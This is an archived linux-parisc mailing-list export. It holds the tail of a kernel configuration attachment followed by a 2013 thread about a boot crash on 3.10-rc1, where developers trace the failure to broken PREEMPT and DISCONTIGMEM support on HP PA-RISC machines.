CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
CONFIG_EXT3_DEFAULTS_TO_ORDERED=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
CONFIG_EXT4_FS=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_XFS_FS=m
# CONFIG_XFS_QUOTA is not set
# CONFIG_XFS_POSIX_ACL is not set
# CONFIG_XFS_RT is not set
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
CONFIG_BTRFS_FS=m
# CONFIG_BTRFS_FS_POSIX_ACL is not set
# CONFIG_BTRFS_FS_CHECK_INTEGRITY is not set
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=m
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_GENERIC_ACL=y

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_ZISOFS is not set
CONFIG_UDF_FS=y

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=y
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX6FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
CONFIG_SYSV_FS=y
# CONFIG_UFS_FS is not set
# CONFIG_F2FS_FS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
CONFIG_NLS=m
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
CONFIG_STRIP_ASM_SYMS=y
# CONFIG_READABLE_ASM is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_LOCKUP_DETECTOR=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=1
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120
CONFIG_BOOTPARAM_HUNG_TASK_PANIC=y
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=1
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_LKDTM is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_DYNAMIC_DEBUG is not set
CONFIG_ATOMIC64_SELFTEST=y
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_DEBUG_RODATA is not set
CONFIG_DEBUG_STACKOVERFLOW=y

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_TRUSTED_KEYS is not set
# CONFIG_ENCRYPTED_KEYS is not set
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
CONFIG_SECURITYFS=y
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_ASYNC_PQ=m
CONFIG_ASYNC_RAID6_RECOV=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
CONFIG_CRYPTO_PCBC=m
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_GHASH is not set
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_FCRYPT=m
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_ASYMMETRIC_KEY_TYPE is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_RAID6_PQ=m
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=y
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set

--------------030800080103050901040501--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Wed, 15 May 2013 21:34:44 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <1536577.0f4jSevITp@eto>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2538469.1NOl4Wp6yl"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1368646499 3172 80.91.229.3 (15 May 2013 19:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 May 2013 19:34:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 15 21:34:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UchTT-00063P-Pm
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 May 2013 21:34:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932101Ab3EOTez (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 May 2013 15:34:55 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:58797 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754709Ab3EOTey (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 May 2013 15:34:54 -0400
Original-Received: (qmail 27707 invoked from network); 15 May 2013 19:34:52 -0000
Original-Received: from dslb-188-108-128-075.pools.arcor-ip.net ([::ffff:188.108.128.75]:43757 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <mroos@linux.ee>; Wed, 15 May 2013 21:34:52 +0200
User-Agent: KMail/4.10.3 (Linux/3.9.1-7.gb6484b6-desktop; KDE/4.10.3; x86_64; ; )
In-Reply-To: <5193D0F5.4060706@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5024>


--nextPart2538469.1NOl4Wp6yl
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Mittwoch 15 Mai 2013, 20:16:21 schrieb Helge Deller:
> Hi Meelis,
> 
> On 05/15/2013 08:59 AM, Meelis Roos wrote:
> >>> It did not work - first a __schedule_bug,
> >> 
> >> I assume you have CONFIG_PREEMPT enabled? We know it's currently broken.
> > 
> > It is already disabled:
> > 
> > CONFIG_PREEMPT_NONE=y
> > # CONFIG_PREEMPT_VOLUNTARY is not set
> > # CONFIG_PREEMPT is not set
> > CONFIG_PREEMPT_COUNT=y
> > 
> > I just enabled the new irqstacks...
> 
> Ok, the good thing is, that I got today a rp5470 with which I could
> reproduce your problems.
> 
> The bad thing is:
> Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.

My C8000 runs 3.7.3 happily, so it must have happened after that.

Eike
--nextPart2538469.1NOl4Wp6yl
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlGT41oACgkQXKSJPmm5/E6M6wCfb3BL9RYN5wb9MaAW+E5k0B/a
dSwAn3dqC7hLHgnZZaZ0Zuq4osaheXvS
=C+U4
-----END PGP SIGNATURE-----

--nextPart2538469.1NOl4Wp6yl--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Wed, 15 May 2013 18:32:34 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <BLU0-SMTP17357AC6F8AF968964CF7297A20@phx.gbl>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <1536577.0f4jSevITp@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368657198 15008 80.91.229.3 (15 May 2013 22:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 May 2013 22:33:18 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 00:33:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UckG4-0000wY-BV
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 00:33:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753196Ab3EOWdP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 May 2013 18:33:15 -0400
Original-Received: from blu0-omc3-s37.blu0.hotmail.com ([65.55.116.112]:23348 "EHLO
	blu0-omc3-s37.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753006Ab3EOWdP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 May 2013 18:33:15 -0400
Original-Received: from BLU0-SMTP17 ([65.55.116.74]) by blu0-omc3-s37.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 15 May 2013 15:33:14 -0700
X-EIP: [349CGNkyzF/qscEd2OHQNxtEwmYnNs4j]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP17.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 15 May 2013 15:33:13 -0700
In-Reply-To: <1536577.0f4jSevITp@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 15 May 2013 22:33:13.0319 (UTC) FILETIME=[2F83C770:01CE51BC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5025>

On 15-May-13, at 3:34 PM, Rolf Eike Beer wrote:

> Am Mittwoch 15 Mai 2013, 20:16:21 schrieb Helge Deller:
>> Hi Meelis,
>>
>> On 05/15/2013 08:59 AM, Meelis Roos wrote:
>>>>> It did not work - first a __schedule_bug,
>>>>
>>>> I assume you have CONFIG_PREEMPT enabled? We know it's currently  
>>>> broken.
>>>
>>> It is already disabled:
>>>
>>> CONFIG_PREEMPT_NONE=y
>>> # CONFIG_PREEMPT_VOLUNTARY is not set
>>> # CONFIG_PREEMPT is not set
>>> CONFIG_PREEMPT_COUNT=y
>>>
>>> I just enabled the new irqstacks...
>>
>> Ok, the good thing is, that I got today a rp5470 with which I could
>> reproduce your problems.
>>
>> The bad thing is:
>> Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
>
> My C8000 runs 3.7.3 happily, so it must have happened after that.


I suspect that you actually have to have discontiguous memory to  
trigger the bug.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Thu, 16 May 2013 09:35:00 +0300 (EEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1305160931430.23959@math.ut.ee>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <1536577.0f4jSevITp@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1368686113 7122 80.91.229.3 (16 May 2013 06:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 06:35:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 08:35:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UcrmK-0007B1-V2
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 08:35:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753708Ab3EPGfD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 02:35:03 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:40035 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753561Ab3EPGfD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 02:35:03 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 4DE6773DB2F;
	Thu, 16 May 2013 09:35:00 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 4C63C427978; Thu, 16 May 2013 09:35:00 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 4686B427977;
	Thu, 16 May 2013 09:35:00 +0300 (EEST)
In-Reply-To: <1536577.0f4jSevITp@eto>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5026>

> > Ok, the good thing is, that I got today a rp5470 with which I could
> > reproduce your problems.
> > 
> > The bad thing is:
> > Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
> 
> My C8000 runs 3.7.3 happily, so it must have happened after that.

My RP3440 runs 3.9.0 fine, with mostly the same config as I sent (modulo 
the new questions).

Debian was becoming too hard so I switched to Gentoo on parisc and so 
far it has been fine. But to bootstrap Gentoo, I had to use old Debian 
so no ext4, just ext3.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Thu, 16 May 2013 10:38:33 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <1717012.DBvMCSU1Fh@eto>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <1536577.0f4jSevITp@eto> <BLU0-SMTP17357AC6F8AF968964CF7297A20@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2225909.dOP4IPQNdi"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1368693537 15826 80.91.229.3 (16 May 2013 08:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 08:38:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 10:38:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
